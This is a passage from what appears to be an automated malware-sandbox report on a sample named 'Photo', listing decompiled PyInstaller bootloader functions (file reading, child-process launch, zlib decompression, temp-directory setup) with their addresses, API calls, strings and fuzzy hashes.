									_t215 =  *((intOrPtr*)(0x20a118 + _v20 * 4));
									_v36 = _t215;
									__eflags =  *(_t235 + _t215 + 0x28) & 0x00000048;
									_t216 = _a4;
									if(( *(_t235 + _t215 + 0x28) & 0x00000048) != 0) {
										_t218 =  *((intOrPtr*)(_t235 + _v36 + 0x2a));
										_v6 = _t218;
										__eflags = _t218 - 0xa;
										_t216 = _a4;
										if(_t218 != 0xa) {
											__eflags = _t223;
											if(_t223 != 0) {
												_t241 = _v24;
												 *_t163 = _v6;
												_t216 = _a4;
												_t232 = _t223 - 1;
												__eflags = _v5;
												_v12 = _t163 + 1;
												_v16 = _t232;
												 *((char*)(_t235 +  *((intOrPtr*)(0x20a118 + _v20 * 4)) + 0x2a)) = 0xa;
												if(_v5 != 0) {
													_t191 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x20a118 + _v20 * 4)) + 0x2b));
													_v6 = _t191;
													__eflags = _t191 - 0xa;
													if(_t191 != 0xa) {
														__eflags = _t232;
														if(_t232 != 0) {
															_t192 = _v12;
															_t241 = 2;
															 *_t192 = _v6;
															_t216 = _a4;
															_t233 = _t232 - 1;
															_v12 = _t192 + 1;
															_v16 = _t233;
															 *((char*)(_t235 +  *((intOrPtr*)(0x20a118 + _v20 * 4)) + 0x2b)) = 0xa;
															__eflags = _v5 - _v24;
															if(_v5 == _v24) {
																_t199 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x20a118 + _v20 * 4)) + 0x2c));
																_v6 = _t199;
																__eflags = _t199 - 0xa;
																if(_t199 != 0xa) {
																	__eflags = _t233;
																	if(_t233 != 0) {
																		_t200 = _v12;
																		_t241 = 3;
																		 *_t200 = _v6;
																		_t216 = _a4;
																		_t234 = _t233 - 1;
																		__eflags = _t234;
																		_v12 = _t200 + 1;
																		_v16 = _t234;
																		 *((char*)(_t235 +  *((intOrPtr*)(0x20a118 + _v20 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t164 = E001E8E4B(_t216);
									__eflags = _t164;
									if(_t164 == 0) {
										L41:
										_v24 = 0;
										L42:
										_t167 = ReadFile(_v32, _v12, _v16,  &_v36, 0); // executed
										__eflags = _t167;
										if(_t167 == 0) {
											L53:
											_t168 = GetLastError();
											_t241 = 5;
											__eflags = _t168 - _t241;
											if(_t168 != _t241) {
												__eflags = _t168 - 0x6d;
												if(_t168 != 0x6d) {
													L37:
													E001DCB06(_t168);
													goto L38;
												}
												_t242 = 0;
												goto L39;
											}
											 *((intOrPtr*)(E001DCB3C())) = 9;
											 *(E001DCB29()) = _t241;
											goto L38;
										}
										_t229 = _a12;
										__eflags = _v36 - _t229;
										if(_v36 > _t229) {
											goto L53;
										}
										_t242 = _t241 + _v36;
										__eflags = _t242;
										L45:
										_t237 = _v28;
										_t175 =  *((intOrPtr*)(0x20a118 + _v20 * 4));
										__eflags =  *(_t237 + _t175 + 0x28) & 0x00000080;
										if(( *(_t237 + _t175 + 0x28) & 0x00000080) != 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v24;
												_push(_t242 >> 1);
												_push(_v40);
												_push(_t216);
												if(_v24 == 0) {
													_t176 = E001E1B8B();
												} else {
													_t176 = E001E1E9B();
												}
											} else {
												_t230 = _t229 >> 1;
												__eflags = _t229 >> 1;
												_t176 = E001E1D4B(_t229 >> 1, _t229 >> 1, _t216, _v12, _t242, _a8, _t230);
											}
											_t242 = _t176;
										}
										goto L39;
									}
									_t104 =  &_v28; // 0xa
									_t231 =  *_t104;
									_t178 =  *((intOrPtr*)(0x20a118 + _v20 * 4));
									__eflags =  *(_t231 + _t178 + 0x28) & 0x00000080;
									if(( *(_t231 + _t178 + 0x28) & 0x00000080) == 0) {
										goto L41;
									}
									_t180 = GetConsoleMode(_v32,  &_v44);
									__eflags = _t180;
									if(_t180 == 0) {
										goto L41;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L42;
									}
									_t184 = ReadConsoleW(_v32, _v12, _v16 >> 1,  &_v36, 0);
									__eflags = _t184;
									if(_t184 != 0) {
										_t229 = _a12;
										_t242 = _t241 + _v36 * 2;
										goto L45;
									}
									_t168 = GetLastError();
									goto L37;
								} else {
									 *((intOrPtr*)(E001DCB3C())) = 0xc;
									 *(E001DCB29()) = 8;
									L38:
									_t242 = _t241 | 0xffffffff;
									__eflags = _t242;
									L39:
									E001E092A(_t246);
									return _t242;
								}
							}
							L15:
							 *(E001DCB29()) =  *_t206 & _t246;
							 *((intOrPtr*)(E001DCB3C())) = 0x16;
							E001E1691();
							goto L38;
						}
						__eflags = _t155 != 1;
						if(_t155 != 1) {
							L13:
							_t163 = _a8;
							_v16 = _t223;
							_v12 = _t163;
							goto L21;
						}
						_t211 =  !_t223;
						__eflags = _t211 & 0x00000001;
						if((_t211 & 0x00000001) == 0) {
							goto L15;
						}
						goto L13;
					}
					L6:
					 *(E001DCB29()) =  *_t151 & 0x00000000;
					 *((intOrPtr*)(E001DCB3C())) = 0x16;
					goto L59;
				} else {
					 *(E001DCB29()) =  *_t212 & 0x00000000;
					_t145 = E001DCB3C();
					 *_t145 = 9;
					L60:
					return _t145 | 0xffffffff;
				}
			}

0x001e2038
0x001e203f
0x001e2059
0x001e205b
0x001e23c3
0x001e23c3
0x001e23c8
0x001e23c8
0x001e23d0
0x001e23d6
0x001e23d6
0x00000000
0x001e23d6
0x001e2061
0x001e2067
0x00000000
0x00000000
0x001e206f
0x001e207b
0x001e207e
0x001e2081
0x001e2084
0x001e208b
0x001e208e
0x001e2092
0x001e2095
0x001e2098
0x00000000
0x00000000
0x001e209e
0x001e20a1
0x001e20a7
0x001e20c1
0x001e20c3
0x001e23bf
0x00000000
0x001e23bf
0x001e20c9
0x001e20cd
0x00000000
0x00000000
0x001e20d3
0x001e20d7
0x00000000
0x00000000
0x001e20de
0x001e20e2
0x001e20e5
0x001e20e8
0x001e20ed
0x001e20ed
0x001e20f0
0x001e210d
0x001e2112
0x001e2114
0x001e2116
0x001e2136
0x001e2137
0x001e2139
0x001e213c
0x001e213e
0x001e2140
0x001e2142
0x001e2142
0x001e214d
0x001e214f
0x001e2156
0x001e215b
0x001e215e
0x001e2161
0x001e2163
0x001e2188
0x001e218d
0x001e2194
0x001e2197
0x001e219a
0x001e219e
0x001e21a0
0x001e21a4
0x001e21a6
0x001e21a9
0x001e21ac
0x001e21ae
0x001e21b1
0x001e21b8
0x001e21bb
0x001e21c0
0x001e21c3
0x001e21cc
0x001e21d0
0x001e21d3
0x001e21d6
0x001e21d9
0x001e21df
0x001e21e1
0x001e21ea
0x001e21ed
0x001e21f0
0x001e21f3
0x001e21f4
0x001e21f8
0x001e21fe
0x001e2208
0x001e220d
0x001e221d
0x001e2221
0x001e2224
0x001e2226
0x001e2228
0x001e222a
0x001e222c
0x001e2234
0x001e2235
0x001e2238
0x001e223b
0x001e223c
0x001e2242
0x001e224c
0x001e2254
0x001e2257
0x001e2263
0x001e2267
0x001e226a
0x001e226c
0x001e226e
0x001e2270
0x001e2272
0x001e227a
0x001e227b
0x001e227e
0x001e2281
0x001e2281
0x001e2282
0x001e2288
0x001e2292
0x001e2292
0x001e2270
0x001e226c
0x001e2257
0x001e222a
0x001e2226
0x001e220d
0x001e21e1
0x001e21d9
0x001e2298
0x001e229e
0x001e22a0
0x001e2313
0x001e2313
0x001e2317
0x001e2327
0x001e232d
0x001e232f
0x001e238b
0x001e238b
0x001e2393
0x001e2394
0x001e2396
0x001e23af
0x001e23b2
0x001e22ef
0x001e22f0
0x00000000
0x001e22f5
0x001e23b8
0x00000000
0x001e23b8
0x001e239d
0x001e23a8
0x00000000
0x001e23a8
0x001e2331
0x001e2334
0x001e2337
0x00000000
0x00000000
0x001e2339
0x001e2339
0x001e233c
0x001e233f
0x001e2342
0x001e2349
0x001e234e
0x001e2350
0x001e2354
0x001e236f
0x001e2373
0x001e2374
0x001e2377
0x001e2378
0x001e2384
0x001e237a
0x001e237a
0x001e237a
0x001e2356
0x001e2356
0x001e2356
0x001e2361
0x001e2366
0x001e2369
0x001e2369
0x00000000
0x001e234e
0x001e22a5
0x001e22a5
0x001e22a8
0x001e22af
0x001e22b4
0x00000000
0x00000000
0x001e22bd
0x001e22c3
0x001e22c5
0x00000000
0x00000000
0x001e22c7
0x001e22cb
0x00000000
0x00000000
0x001e22df
0x001e22e5
0x001e22e7
0x001e230b
0x001e230e
0x00000000
0x001e230e
0x001e22e9
0x00000000
0x001e2165
0x001e216a
0x001e2175
0x001e22f6
0x001e22f6
0x001e22f6
0x001e22f9
0x001e22fa
0x00000000
0x001e2302
0x001e2163
0x001e2118
0x001e211d
0x001e2124
0x001e212a
0x00000000
0x001e212a
0x001e20f2
0x001e20f5
0x001e20ff
0x001e20ff
0x001e2102
0x001e2105
0x00000000
0x001e2105
0x001e20f9
0x001e20fb
0x001e20fd
0x00000000
0x00000000
0x00000000
0x001e20fd
0x001e20a9
0x001e20ae
0x001e20b6
0x00000000
0x001e2041
0x001e2046
0x001e2049
0x001e204e
0x001e23db
0x00000000
0x001e23db

Strings

, xrefs: 001E22A5

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: a58764b74ee6cfbba2984445abfdc5d1a6bff5e25d7665af2ff4041ced94a750
Instruction ID: 57040b3f2a73e8848fb3d2ea199dc33a2bc32acba3a4639f224ce3bac652ef6f
Opcode Fuzzy Hash: a58764b74ee6cfbba2984445abfdc5d1a6bff5e25d7665af2ff4041ced94a750
Instruction Fuzzy Hash: 0FC1E270E0478AAFDF15CFAAD851BADBBB8BF1D300F184185E944AB392C7749941CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001D4380 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 100
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E001D4380(void* __ebx, void* __edx, void* __ebp, void* __eflags, struct _SECURITY_ATTRIBUTES _a4, struct _SECURITY_ATTRIBUTES* _a8, int _a12, struct _PROCESS_INFORMATION _a16, struct _STARTUPINFOW _a32, struct _SECURITY_ATTRIBUTES* _a36, struct _SECURITY_ATTRIBUTES* _a40, struct _SECURITY_ATTRIBUTES* _a44, intOrPtr _a76, short _a80, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, short _a100, signed int _a8292, intOrPtr _a8300) {
				struct _SECURITY_ATTRIBUTES* _v0;
				signed int _t26;
				intOrPtr _t45;
				int _t51;
				signed int _t53;
				signed int _t65;
				DWORD* _t67;
				void* _t71;

				_t71 = __eflags;
				_t63 = __edx;
				_t58 = __ebx;
				E001D7780();
				_t26 =  *0x1fc008; // 0x369f4a24
				_a8292 = _t26 ^ _t65;
				_v0 = 0;
				E001D4BC0(__ebx,  &_a100, _a8300, 0x1000);
				_push(1);
				_push(0x16);
				E001DEF21(__edx, _t71);
				_push(1);
				_push(2); // executed
				E001DEF21(__edx, _t71); // executed
				_push(1);
				_push(0xf);
				E001DEF21(__edx, _t71);
				_push(1);
				_push(0x15);
				E001DEF21(_t63, _t71);
				_a4.nLength = 0xc;
				_a8 = 0;
				_a12 = 1;
				GetStartupInfoW( &_a32);
				_a36 = 0;
				_a40 = 0;
				_a44 = 0;
				_a76 = 0x101;
				_a80 = 1;
				_a88 = E001DEA89(E001DE04C(E001DA93E(0)));
				_a92 = E001DEA89(E001DE04C(E001DA93E(1)));
				_t45 = E001DEA89(E001DE04C(E001DA93E(2)));
				_t67 = _t65 + 0x50;
				_a96 = _t45;
				_t51 = CreateProcessW( &_a100, GetCommandLineW(),  &_a4, 0, 1, 0, 0, 0,  &_a32,  &_a16); // executed
				if(_t51 == 0) {
					_push("Error creating child process!\n");
					_push("CreateProcessW");
					_t53 = E001D1900(_t58, _t63) | 0xffffffff;
					__eflags = _t53;
					E001D7760();
					return _t53;
				} else {
					WaitForSingleObject(_a16.hProcess, 0xffffffff);
					GetExitCodeProcess(_a16, _t67); // executed
					E001D7760();
					return _v0;
				}
			}

0x001d4380
0x001d4380
0x001d4380
0x001d4385
0x001d438a
0x001d4391
0x001d43a9
0x001d43b2
0x001d43b7
0x001d43b9
0x001d43bb
0x001d43c0
0x001d43c2
0x001d43c4
0x001d43c9
0x001d43cb
0x001d43cd
0x001d43d2
0x001d43d4
0x001d43d6
0x001d43de
0x001d43ea
0x001d43f2
0x001d43fb
0x001d4406
0x001d4410
0x001d4418
0x001d4420
0x001d4428
0x001d4440
0x001d4457
0x001d4467
0x001d446c
0x001d446f
0x001d449b
0x001d44a3
0x001d44d7
0x001d44dc
0x001d44f2
0x001d44f2
0x001d44f5
0x001d4500
0x001d44a5
0x001d44ab
0x001d44b9
0x001d44cb
0x001d44d6
0x001d44d6

APIs

Part of subcall function 001D4BC0: MultiByteToWideChar.KERNEL32(0000FDE9,?,?,000000FF,?,?,?,?,001D4097,?,?,00001000), ref: 001D4BD8

Part of subcall function 001DEF21: SetConsoleCtrlHandler.KERNELBASE(001DEB75,00000001,001FA3D0,00000018,001D43C0,00000016,00000001,?,?,00001000,001D27BE,?,00000000), ref: 001DF03A

Part of subcall function 001DEF21: GetLastError.KERNEL32 ref: 001DF054

GetStartupInfoW.KERNEL32(?), ref: 001D43FB
GetCommandLineW.KERNEL32(?,00000000,00000001,00000000,00000000,00000000,?,?), ref: 001D448C
CreateProcessW.KERNELBASE ref: 001D449B
WaitForSingleObject.KERNEL32(?,000000FF), ref: 001D44AB
GetExitCodeProcess.KERNELBASE ref: 001D44B9

Strings

CreateProcessW, xrefs: 001D44DC
Error creating child process!, xrefs: 001D44D7

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: Process$ByteCharCodeCommandConsoleCreateCtrlErrorExitHandlerInfoLastLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 1248179626-3524285272
Opcode ID: b6ea0ab3f819ad3338fdd812abe317d17cdae4cbed245b57befe3b82454f58f0
Instruction ID: 1911052515d782562f2d25d2f0049144e3f8e1a51b7fa4a633a70852bac7aa47
Opcode Fuzzy Hash: b6ea0ab3f819ad3338fdd812abe317d17cdae4cbed245b57befe3b82454f58f0
Instruction Fuzzy Hash: 423143B0544344BBEB10BBA0CC8AF5F77E8AF54705F40491AB594AA3D2DBB9D144CB52

Uniqueness

Uniqueness Score: -1.00%

Function 001D1030 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E001D1030(void* __ecx, void* __eflags, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				char _v68;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t37;

				_t18 = E001D4F00();
				_t36 = _a8;
				_push( *((intOrPtr*)(_t36 + 0xc)));
				L001D775A();
				_push(_t18); // executed
				_t19 = E001D995B(__ecx); // executed
				_t37 = _t19;
				_t47 = _t37;
				if(_t37 != 0) {
					_t20 = _v0;
					_push( *((intOrPtr*)(_t36 + 8)));
					_v28 = 0;
					_v24 = 0;
					_v20 = 0;
					_v60 = _t20;
					L001D775A();
					_push( *((intOrPtr*)(_t36 + 0xc)));
					_v60 = _t20;
					_v52 = _t37;
					L001D775A();
					_v52 = _t20;
					__eflags = E001D66D0( &_v68, "1.2.8", 0x38);
					if(__eflags < 0) {
						_push(_v44);
						E001D1A80(_t34, __eflags, "Error %d from inflateInit: %s\n", _t22);
						__eflags = 0;
						return 0;
					} else {
						_push(4);
						_push( &_v68);
						__eflags = E001D4F10();
						if(__eflags < 0) {
							_push(_v44);
							E001D1A80(_t34, __eflags, "Error %d from inflate: %s\n", _t26);
							__eflags = 0;
							return 0;
						} else {
							E001D65C0( &_v68);
							return _t37;
						}
					}
				} else {
					_push("Error allocating decompression buffer\n");
					E001D1A80(_t34, _t47);
					return 0;
				}
			}

0x001d1035
0x001d103a
0x001d103e
0x001d1041
0x001d1046
0x001d1047
0x001d104c
0x001d1051
0x001d1053
0x001d106a
0x001d106e
0x001d1071
0x001d1079
0x001d1081
0x001d1089
0x001d108d
0x001d1092
0x001d1095
0x001d1099
0x001d109d
0x001d10a4
0x001d10ba
0x001d10bc
0x001d1100
0x001d110a
0x001d1112
0x001d1119
0x001d10be
0x001d10c2
0x001d10c4
0x001d10cd
0x001d10cf
0x001d10e6
0x001d10f0
0x001d10f8
0x001d10ff
0x001d10d1
0x001d10d6
0x001d10e5
0x001d10e5
0x001d10cf
0x001d1055
0x001d1055
0x001d105a
0x001d1069
0x001d1069

APIs

htonl.WS2_32(?), ref: 001D1041
htonl.WS2_32 ref: 001D108D
htonl.WS2_32(?), ref: 001D109D

Strings

Error allocating decompression buffer, xrefs: 001D1055
Error %d from inflate: %s, xrefs: 001D10EB
Error %d from inflateInit: %s, xrefs: 001D1105
1.2.8, xrefs: 001D10AC

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: htonl
String ID: 1.2.8$Error %d from inflate: %s$Error %d from inflateInit: %s$Error allocating decompression buffer
API String ID: 2009864989-3030894017
Opcode ID: 75825bba108f81ef160fc6c33076339563e9277688886b01ee2c50efd9b823f8
Instruction ID: 83116ba79490953cdc4c9f00febb88970ac6efe7eff72bf1e6fd23e598ce5d18
Opcode Fuzzy Hash: 75825bba108f81ef160fc6c33076339563e9277688886b01ee2c50efd9b823f8
Instruction Fuzzy Hash: 9121A4B6A043517BD700BBA4AC46A9F7B94AFA4358F44492AFE4882352F335D11887D2

Uniqueness

Uniqueness Score: -1.00%

Function 001D3BD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E001D3BD0(void* __ecx, char _a4, char _a36, short _a4136, signed int _a12328, intOrPtr _a12336, intOrPtr _a12340) {
				intOrPtr _v0;
				void* __ebx;
				signed int _t15;
				void* _t26;
				void* _t29;
				WCHAR* _t30;
				WCHAR* _t39;
				void* _t56;
				intOrPtr _t57;
				void* _t59;
				void* _t69;
				intOrPtr _t77;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;

				_t59 = __ecx;
				E001D7780();
				_t15 =  *0x1fc008; // 0x369f4a24
				_a12328 = _t15 ^ _t79;
				_push(_t56);
				_t77 = _a12340;
				_v0 = _a12336;
				if(_t77 == 0) {
					_t57 = _v0;
				} else {
					_push("TMP");
					_t57 = E001D3DC0(_t56);
					E001D2970( &_a36, 0x1000, _t77);
					_t67 = E001D4BC0(_t57, 0, "TMP", 0);
					_t75 = E001D4BC0(_t57, 0,  &_a36, 0);
					E001DE335(_t50, _t52);
					L001D9956(_t67);
					L001D9956(_t75);
					_t79 = _t79 + 0x38;
				}
				GetTempPathW(0x1000,  &_a4136);
				E001D4690(_t59,  &_a4, 0x10, L"_MEI%d", GetCurrentProcessId());
				_t80 = _t79 + 0x10;
				_t69 = 0;
				while(1) {
					_t63 = E001DF48C( &_a4136,  &_a4);
					_t26 = E001DE371(_t25); // executed
					_t81 = _t80 + 0xc;
					if(_t26 == 0) {
						break;
					}
					L001D9956(_t63);
					_t69 = _t69 + 1;
					_t80 = _t81 + 4;
					if(_t69 < 5) {
						continue;
					}
					if(_t77 == 0) {
						L10:
						_t29 = 0;
						L16:
						E001D7760();
						return _t29;
					}
					_t39 = E001D4BC0(_t57, 0, "TMP", 0);
					if(_t57 == 0) {
						_t73 = _t39;
						SetEnvironmentVariableW(_t39, 0);
						L001D9956(_t73);
						_t82 = _t80 + 0x10;
						goto L10;
					}
					_t66 = _t39;
					_t74 = E001D4BC0(_t57, 0, _t57, 0);
					E001DE335(_t39, _t42);
					L001D9956(_t66);
					L001D9956(_t74);
					L001D9956(_t57);
					_t82 = _t80 + 0x2c;
					_t29 = 0;
					goto L16;
				}
				E001D4C50(_t57, _v0, _t63, 0x1000);
				L001D9956(_t63);
				_t82 = _t81 + 0x10;
				if(_t77 != 0) {
					_t30 = E001D4BC0(_t57, 0, "TMP", 0);
					if(_t57 == 0) {
						_t71 = _t30;
						SetEnvironmentVariableW(_t30, 0);
						L001D9956(_t71);
						_t82 = _t82 + 0x10;
					} else {
						_t65 = _t30;
						_t72 = E001D4BC0(_t57, 0, _t57, 0);
						E001DE335(_t30, _t33);
						L001D9956(_t65);
						L001D9956(_t72);
						L001D9956(_t57);
						_t82 = _t82 + 0x2c;
					}
				}
				_t29 = 1;
				goto L16;
			}

0x001d3bd0
0x001d3bd5
0x001d3bda
0x001d3be1
0x001d3bef
0x001d3bf1
0x001d3bf8
0x001d3c00
0x001d3c56
0x001d3c02
0x001d3c02
0x001d3c0d
0x001d3c19
0x001d3c2c
0x001d3c3c
0x001d3c40
0x001d3c46
0x001d3c4c
0x001d3c51
0x001d3c51
0x001d3c67
0x001d3c7f
0x001d3c84
0x001d3c87
0x001d3c90
0x001d3ca2
0x001d3ca5
0x001d3caa
0x001d3caf
0x00000000
0x00000000
0x001d3cb2
0x001d3cb7
0x001d3cb8
0x001d3cbe
0x00000000
0x00000000
0x001d3cc2
0x001d3d1e
0x001d3d1e
0x001d3d98
0x001d3da5
0x001d3db0
0x001d3db0
0x001d3ccd
0x001d3cd4
0x001d3d0a
0x001d3d0f
0x001d3d16
0x001d3d1b
0x00000000
0x001d3d1b
0x001d3cdb
0x001d3ce2
0x001d3ce6
0x001d3cec
0x001d3cf2
0x001d3cf8
0x001d3cfd
0x001d3d00
0x00000000
0x001d3d00
0x001d3d2c
0x001d3d32
0x001d3d37
0x001d3d3c
0x001d3d47
0x001d3d4e
0x001d3d7f
0x001d3d84
0x001d3d8b
0x001d3d90
0x001d3d50
0x001d3d55
0x001d3d5c
0x001d3d60
0x001d3d66
0x001d3d6c
0x001d3d72
0x001d3d77
0x001d3d77
0x001d3d4e
0x001d3d93
0x00000000

APIs

GetTempPathW.KERNEL32(00001000,?,?,?,00000000,00000000,001D3BA6,?,00000000,?,pyi-runtime-tmpdir), ref: 001D3C67
GetCurrentProcessId.KERNEL32(?,?,?,00000000,001D133A,00000000,00000000,00000000,?,?,00000000,001D21AF,?,?,00000000,00000000), ref: 001D3C6D

Part of subcall function 001D3DC0: GetEnvironmentVariableW.KERNEL32(00000000,?,00002000,?,?), ref: 001D3DF6
Part of subcall function 001D3DC0: ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,00002000,?,?), ref: 001D3E12

Part of subcall function 001D4BC0: MultiByteToWideChar.KERNEL32(0000FDE9,?,?,000000FF,?,?,?,?,001D4097,?,?,00001000), ref: 001D4BD8

Part of subcall function 001D4BC0: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?,?,?,001D4097,?,?,00001000), ref: 001D4C20

SetEnvironmentVariableW.KERNEL32(00000000,00000000,00000000,TMP,00000000,?,?,?,?,00000000,001D21AF,?,?,00000000,00000000,00000000), ref: 001D3D0F

Strings

_MEI%d, xrefs: 001D3C73
TMP, xrefs: 001D3C02, 001D3C20, 001D3CC6, 001D3D40

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: Environment$ByteCharMultiVariableWide$CurrentExpandPathProcessStringsTemp
String ID: TMP$_MEI%d
API String ID: 2032815135-1047136609
Opcode ID: 3e294a08c992be0af2803a3848bfde6390f7a63a816ea3e488b1b40ac75cdd24
Instruction ID: 01712f87fe73390e2d9c0cac6adea2960718500c3a29adb7b87fe21a2953097c
Opcode Fuzzy Hash: 3e294a08c992be0af2803a3848bfde6390f7a63a816ea3e488b1b40ac75cdd24
Instruction Fuzzy Hash: 7D410C7290030577E36177B15C57FBF32AC9FB5794F04042BFA45A6382FBA4AA0542AB

Uniqueness

Uniqueness Score: -1.00%

Function 001D2520 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 225
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 39%

			E001D2520(void* __ebx, void* __ecx, void* __edx, void* __ebp, void* __eflags, char _a4, char _a4096, char _a4100, char _a8196, signed int _a12288, signed int _a12292, intOrPtr _a12300, intOrPtr* _a12304) {
				char _v0;
				intOrPtr _v4;
				signed int _t43;
				void* _t47;
				signed int _t58;
				signed int _t62;
				signed int _t65;
				signed int _t66;
				signed int _t73;
				signed int _t76;
				signed int _t77;
				signed int _t81;
				signed int _t82;
				signed int _t83;
				signed int _t87;
				signed int _t90;
				signed int _t92;
				signed int _t95;
				signed int _t97;
				intOrPtr* _t100;
				signed int _t104;
				signed int _t106;
				intOrPtr* _t107;
				void* _t113;
				void* _t114;
				signed int _t115;
				void* _t117;
				intOrPtr* _t122;
				void* _t125;
				intOrPtr* _t126;
				void* _t129;
				intOrPtr _t130;
				signed int _t132;
				void* _t134;
				void* _t135;
				void* _t136;
				void* _t138;
				signed int _t139;
				void* _t141;

				_t129 = __ebp;
				_t113 = __edx;
				E001D7780();
				_t43 =  *0x1fc008; // 0x369f4a24
				_a12292 = _t43 ^ _t132;
				_t122 = _a12304;
				_v0 = _t122;
				E001DD589(E001DA93E(2), 0);
				_push(0x4078);
				_push(1); // executed
				_t47 = E001DD57E(__ecx); // executed
				_t117 = _t47;
				_t134 = _t132 + 0x14;
				if(_t117 != 0) {
					_push(__ebx);
					E001D2840(_t113,  &_a4100,  *_t122);
					E001D2800( &_a8196,  &_a4100);
					E001D2990( &_a4,  &_a4100);
					_push("_MEIPASS2");
					_t95 = E001D3DC0(__ebx);
					E001D4350(_t95, "_MEIPASS2");
					_t100 =  &_a4;
					_t135 = _t134 + 0x20;
					_t114 = _t100 + 1;
					do {
						_t58 =  *_t100;
						_t100 = _t100 + 1;
						__eflags = _t58;
					} while (__eflags != 0);
					_t62 = E001D1750(__ebp, __eflags, _t117,  &_a4,  &_a4100 + _t100 - _t114);
					_t136 = _t135 + 0xc;
					__eflags = _t62;
					if(_t62 == 0) {
						L9:
						 *((intOrPtr*)(_t117 + 0x4074)) = _t122;
						_push(_t129);
						_t130 = _a12300;
						 *((intOrPtr*)(_t117 + 0x4070)) = _t130;
						__eflags = _t95;
						if(_t95 != 0) {
							L12:
							__imp__SetDllDirectoryW(E001D4BC0(_t95, 0, _t95, 0));
							L001D9956(_t63);
							_t138 = _t136 + 0x10;
							__eflags = _t95;
							if(_t95 == 0) {
								goto L25;
							} else {
								_t104 = _t95;
								_t76 =  &_v0;
								while(1) {
									_t115 =  *_t76;
									__eflags = _t115 -  *_t104;
									if(_t115 !=  *_t104) {
										break;
									}
									__eflags = _t115;
									if(_t115 == 0) {
										L18:
										_t77 = 0;
									} else {
										_t115 =  *((intOrPtr*)(_t76 + 1));
										__eflags = _t115 -  *((intOrPtr*)(_t104 + 1));
										if(_t115 !=  *((intOrPtr*)(_t104 + 1))) {
											break;
										} else {
											_t76 = _t76 + 2;
											_t104 = _t104 + 2;
											__eflags = _t115;
											if(_t115 != 0) {
												continue;
											} else {
												goto L18;
											}
